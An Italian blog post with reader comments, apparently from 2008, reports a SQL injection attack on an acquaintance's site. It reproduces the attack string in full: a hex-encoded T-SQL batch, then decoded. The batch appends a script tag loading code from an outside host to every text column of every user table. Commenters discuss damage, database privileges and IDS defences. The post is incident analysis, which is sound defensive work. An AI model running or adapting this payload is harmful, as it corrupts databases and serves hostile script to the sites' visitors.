...SQL Injection....

Ciao, per un mio conoscente affetto da SQL Injection (effettuavano degli update su una tabella), ci siamo accorti che eseguivano operazioni del tipo :

SELECT * FROM xxxx where id=31786;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E75706461746561642E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);

Analizzando la stringa in binario,

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.updatead.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Ciao Massimiliano

Comments

# re: ...SQL Injection....
Gravatar Sono stati fin gentili. Potevano fare una bella drop delle tabelle o di tutti i db su quel server ;-)
Left by Raffaele Rialdi on 18/06/2008 10.39
# re: ...SQL Injection....
Gravatar ma da dove li inserivano?

iniziavano con una cosa del tipo:
%%" -- SELECT * FROM ...?
Left by spleen2060 on 18/06/2008 11.12
# re: ...SQL Injection....
Gravatar L'attacco è arrivato anche alle applicazioni in deploy nella DMZ della mia azienda. Il tutto è stato risolto a livello di IDS, ma fortunatamente ad ogni modo tutte le applicazioni avevano la QueryString blindatissima :) (W SDL ;)).
Da quanto ho potuto vedere, è ormai un attacco che ha seminato vittime un po' ovunque.
Ciao
Left by Dario Santarelli on 18/06/2008 22.50
# re: ...SQL Injection....
Gravatar Preso anche io... però il drop non potevano farlo visto l'utente con i previlegi ristretti (datareader e datawriter però ce li ha.... sigh... sito in asp del 2001 senza stored :( ).
Altrimenti, sui siti sventurati che girano come sa, di solito fa anche un dump del filesystem e lo spedisce via email a non so che indirizzo.. per farci non voglio sapere cosa :D
Left by Alessandro Ghizzardi on 20/06/2008 22.39
# [Daily Issue] Sql Injection, ASP classic, e la storia
Gravatar [Daily Issue] Sql Injection, ASP classic, e la storia
Left by NeatCoding on 21/06/2008 11.37

Leave Your Comment

Title*
Name*
Email (never displayed)
 (will show your gravatar)
Url
Comment*

Please add 4 and 8 and type the answer here:

Preview Your Comment.